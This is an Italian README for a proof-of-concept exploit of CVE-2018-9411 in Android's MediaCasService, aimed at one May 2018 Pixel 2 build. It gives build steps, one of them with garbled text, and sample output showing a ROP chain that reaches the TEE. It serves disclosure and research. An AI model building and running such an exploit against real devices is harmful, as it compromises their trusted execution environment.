
Codice di exploit per CVE-2018-9411 per MediaCasService
Codice exploit per CVE-2018-9411 per MediaCasService.
Nota: questo exploit è fornito solo a scopo educativo o difensivo; non è destinato a un uso malevolo o offensivo.
L'analisi completa della vulnerabilità e dell'exploit è disponibile sul blog di Zimperium.
Se hai domande, puoi contattarmi in DM su Twitter (@tamir_zb).
Nota: questo exploit è pensato per funzionare solo su un dispositivo e una build specifici: Pixel 2 con l'aggiornamento di sicurezza di maggio 2018 (fingerprint: google/walleye/walleye:8.1.0/OPM2.171019.029.B1/4720900:user/release-keys).
Per compilarlo:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_exploit
Un'esecuzione riuscita di questo exploit dovrebbe ottenere l'accesso al dispositivo TEE, come dimostrato dal recupero della versione QSEOS.
Esempio di output dell'exploit:
[+] Prepared descrambler object
[+] Determined small heap address (address = 0xec9d8000)
[+] Prepared remote threads
[+] Found target thread (stack address = 0xeb42b000, libc address = 0xec51d000)
[+] Copied data for ROP chain
[+] ROP stack written
[+] Running ROP chain...
[+] QSEOS version = 0x14